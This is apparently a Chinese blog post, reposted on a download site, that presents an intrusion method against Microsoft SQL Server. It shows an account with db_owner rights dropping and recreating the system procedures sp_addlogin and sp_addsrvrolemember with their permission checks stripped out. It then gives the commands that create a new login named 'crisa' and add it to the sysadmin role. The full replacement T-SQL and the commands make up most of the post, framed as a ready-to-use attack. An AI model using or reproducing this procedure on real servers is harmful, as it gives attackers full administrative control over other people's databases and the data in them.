前面刚谈完why to take some steps to do with extended stored procedures?
及how to remove and / or restore scripts,这边问题又来了,又一例利用Extended Stored Proc进行入侵开始了
入侵途径:利用db_owner在db_owner角色下添加SYSADMIN帐号可以修改sp_addlogin和sp_addsrvrolemember这两个存储过程,绕过验证部分。
具体方法如下:先输入drop procedure sp_addlogin,然后在IE里面输入create procedure sp_addlogin
@loginame sysname
,@passwd sysname = Null
,@defdb ; ; sysname = 'master' -- UNDONE: DEFAULT
CONFIGURABLE
,@deflanguage sysname = Null
,@sid varbinary(16) = Null
,@encryptopt varchar(20) = Null
AS
-- SETUP RUNTIMEOPTIONS / DECLARE VARIABLES --
set nocount on
Declare @ret int -- return value of sp call
-- DISALLOW USER TRANSACTION --
set implicit_transactions off
IF (@@trancount > 0)
begin
raiserror(15002,-1,-1,'sp_addlogin')
return (1)
end
-- VALIDATE LOGIN NAME AS:
-- (1) Valid SQL Name (SQL LOGIN)
-- (2) No backslash (NT users only)
-- (3) Not a reserved login name
execute @ret = sp_validname @loginame
if (@ret <> 0)
return (1)
if (charindex('\', @loginame) > 0)
begin
raiserror(15006,-1,-1,@loginame)
return (1)
end
--Note: different case sa is allowed.
if (@loginame = 'sa' or lower(@loginame) in ('public'))
begin
raiserror(15405, -1 ,-1, @loginame)
return (1)
end
-- LOGIN NAME MUST NOT ALREADY EXIST --
if exists(select * from master.dbo.syslogins where loginname =
@loginame)
begin
raiserror(15025,-1,-1,@loginame)
return (1)
end
-- VALIDATE DEFAULT DATABASE --
IF db_id(@defdb) IS NULL
begin
raiserror(15010,-1,-1,@defdb)
return (1)
end
-- VALIDATE DEFAULT LANGUAGE --
IF (@deflanguage IS NOT Null)
begin
Execute @ret = sp_validlang @deflanguage
IF (@ret <> 0)
return (1)
end
ELSE
begin
select @deflanguage = name from master.dbo.syslanguages
where langid = @@default_langid --server default
language
if @deflanguage is null
select @deflanguage = N'us_english'
end
-- VALIDATE SID IF GIVEN --
if ((@sid IS NOT Null) and (datalength(@sid) <> 16))
begin
raiserror(15419,-1,-1)
return (1)
end
else if @sid is null
select @sid = newid()
if (suser_sname(@sid) IS NOT Null)
begin
raiserror(15433,-1,-1)
return (1)
end
-- VALIDATE AND USE ENCRYPTION OPTION --
declare @xstatus smallint
select @xstatus = 2 -- access
if @encryptopt is null
select @passwd = pwdencrypt(@passwd)
else if @encryptopt = 'skip_encryption_old'
begin
select @xstatus = @xstatus | 0x800, -- old-style
encryption
@passwd = convert(sysname, convert(varbinary
(30), convert(varchar(30), @passwd)))
end
else if @encryptopt <> 'skip_encryption'
begin
raiserror(15600,-1,-1,'sp_addlogin')
return 1
end
-- ATTEMPT THE INSERT OF THE NEW LOGIN --
INSERT INTO master.dbo.sysxlogins VALUES
(NULL, @sid, @xstatus, getdate(),
getdate(), @loginame, convert(varbinary(256), @passwd),
db_id(@defdb), @deflanguage)
if @@error <> 0 -- this indicates we saw duplicate row
return (1)
-- UPDATE PROTECTION TIMESTAMP FOR MASTER DB, TO INDICATE
SYSLOGINS CHANGE --
exec('use master grant all to null')
-- FINALIZATION: RETURN SUCCESS/FAILURE --
raiserror(15298,-1,-1)
return (0) -- sp_addlogin
GO
OK,我们新建个用户exec master..sp_addlogin crisa
再drop procedure sp_addsrvrolemember,然后在IE里输入
create procedure sp_addsrvrolemember
@loginame sysname, -- login name
@rolename sysname = NULL -- server role name
as
-- SETUP RUNTIME OPTIONS / DECLARE VARIABLES --
set nocount on
declare @ret int, -- return value of sp call
@rolebit smallint,
@ismem int
-- DISALLOW USER TRANSACTION --
set implicit_transactions off
IF (@@trancount > 0)
begin
raiserror(15002,-1,-1,'sp_addsrvrolemember')
return (1)
end
-- CANNOT CHANGE SA ROLES --
if @loginame = 'sa'
begin
raiserror(15405, -1 ,-1, @loginame)
return (1)
end
-- OBTAIN THE BIT FOR THIS ROLE --
select @rolebit = CASE @rolename
WHEN 'sysadmin' THEN 16
WHEN 'securityadmin' THEN 32
WHEN 'serveradmin' THEN 64
WHEN 'setupadmin' THEN 128
WHEN 'processadmin' THEN 256
WHEN 'diskadmin' THEN 512
WHEN 'dbcreator' THEN 1024
WHEN 'bulkadmin' THEN 4096
ELSE NULL END
-- ADD ROW FOR NT LOGIN IF NEEDED --
if not exists(select * from master.dbo.syslogins where
loginname = @loginame)
begin
execute @ret = sp_MSaddlogin_implicit_ntlogin @loginame
if (@ret <> 0)
begin
raiserror(15007,-1,-1,@loginame)
return (1)
end
end
-- UPDATE ROLE MEMBERSHIP --
update master.dbo.sysxlogins set xstatus = xstatus | @rolebit,
xdate2 = getdate()
where name = @loginame and srvid IS NULL
-- UPDATE PROTECTION TIMESTAMP FOR MASTER DB, TO INDICATE
SYSLOGINS CHANGE --
exec('use master grant all to null')
raiserror(15488,-1,-1,@loginame,@rolename)
-- FINALIZATION: RETURN SUCCESS/FAILURE
return (@@error) -- sp_addsrvrolemember
GO
接着再exec master..sp_addsrvrolemember crisa,sysadmin
这样就建立了一个SA用户了,用SQL连接器连接上就OK了。
分享到:
相关推荐
标题中的“Convert MSSQL Tables/Stored Proc to WSDL”指的是一个开源项目,它允许开发者将Microsoft SQL Server中的表格和存储过程转换为WSDL(Web Services Description Language)文件。WSDL是一种XML格式,用于...
这个系统显然基于C#编程语言,利用Microsoft SQL Server (MS SQL)作为数据库管理系统,并且在数据库操作中使用了存储过程(storedproc)。以下是该项目涉及的关键知识点: 1. **C#编程**: C#是微软开发的一种面向对象...
在准备武汉理工大学的MATLAB考试时,你需要全面掌握MATLAB的基本操作、变量管理、矩阵运算、字符串处理以及复杂数据类型等核心概念。以下是对这些知识点的详细解释: 首先,了解MATLAB的集成环境是至关重要的。...
这个压缩包文件"stored_proc_using_ado.zip"包含了使用ADO(ActiveX Data Objects)来处理存储过程的源代码,这对于我们理解和实现数据库交互有着重要的意义。 ADO是微软提供的一个数据访问接口,它允许程序员通过...
在Oracle中,PROC通常指的是存储过程(Stored Procedure),这是一种预编译的SQL和PL/SQL代码集合,可以在数据库中存储并重复调用。下面将详细介绍存储过程和其他与PROC相关的知识点: 1. **PL/SQL语法**:PL/SQL...
首先,从`StoredProc.cpp`和`StoredProc.h`这两个文件名我们可以推测,这是实现该类的源代码文件和头文件。在C++编程中,`.cpp`文件用于存放实现部分,而`.h`文件则包含类定义和函数声明。这个类可能包含了创建...
CTNHashProc 是一个 Microsoft SQLServer 2000 扩展存储过程,它返回给定字符串的哈希值。 目前支持的哈希函数有 SHA (SHA1)、SHA2 (SHA-256、SHA-384、SHA-512)、MD5、RIPEMD-160、Tiger。
**存储过程(Stored Procedures)** 存储过程是一组预先编译的SQL语句,它们被封装在一起,作为一个可重用的单元来执行。在DB2中,存储过程可以接受输入参数,返回输出结果,并且能够处理复杂的业务逻辑。它们提高...
The implementation of stored procedures in MySQL 5.0 a huge milestone -- one that is expected to lead to widespread enterprise adoption of the already extremely popular MySQL database....
在题库中,试题J1-1提到了创建存储过程P_stored_proc,指定供应商代码,查询该供应商的订单信息。这部分考核了学生对数据库和存储过程的理解。数据库是一种存储和管理数据的系统,而存储过程是数据库中的一种程序...
在IT行业中,数据库管理和数据操作是至关重要...这个示例代码“stored_proc_using_ado”可以作为参考,帮助开发者理解并实现类似的功能。了解和熟练掌握这些技术,对于提升数据库操作的效率和程序的可维护性至关重要。
用于执行Oracle存储过程的SpringBoot演示项目前提条件这需要Oracle DB。 请按照以旋转Oracle docker映像。 或者,您可以使用 ... 必须明确设置以下JPA属性spring : application : name : spring-oracle-stored-proc
### 存储过程(Stored Procedure)详解 #### 一、存储过程的概念与作用 存储过程是一种预先编写并编译好的SQL语句集合,通常用于实现特定的数据库操作或逻辑处理。存储过程存储在数据库服务器中,用户可以通过指定...
【楼盘销售管理流程】 楼盘销售管理流程是房地产行业中至关重要的环节,它涵盖了从销售团队的构建到销售策略的制定,再到具体操作层面的各个环节。以下是对这个流程的详细解析: 一、销售团队组建与职责分工 ...
### 学习使用存储过程(Stored Procedure) 在IT领域中,存储过程(Stored Procedure)是一项重要的技术,尤其对于从事Web开发尤其是ASP编程的开发者来说,掌握如何使用存储过程至关重要。存储过程是一种预先编译并...
第四节 存储过程(stored procedures)2---马克-to-win java视频
在数据集成领域,Informatica是一个强大的企业级ETL(提取、转换、加载)工具,而“使用Informatica存储过程转换”是它的一项重要功能。存储过程转换允许用户通过Informatica执行预先在数据库中构建的存储过程,从而...
在Oracle RAC(Real Application Clusters)环境下,安装和配置ArcGIS Desktop的SDE(Spatial Database Extensions)数据库连接时,可能会遇到"Stored procedures"错误。这个问题通常与Oracle RAC的特性有关,即其...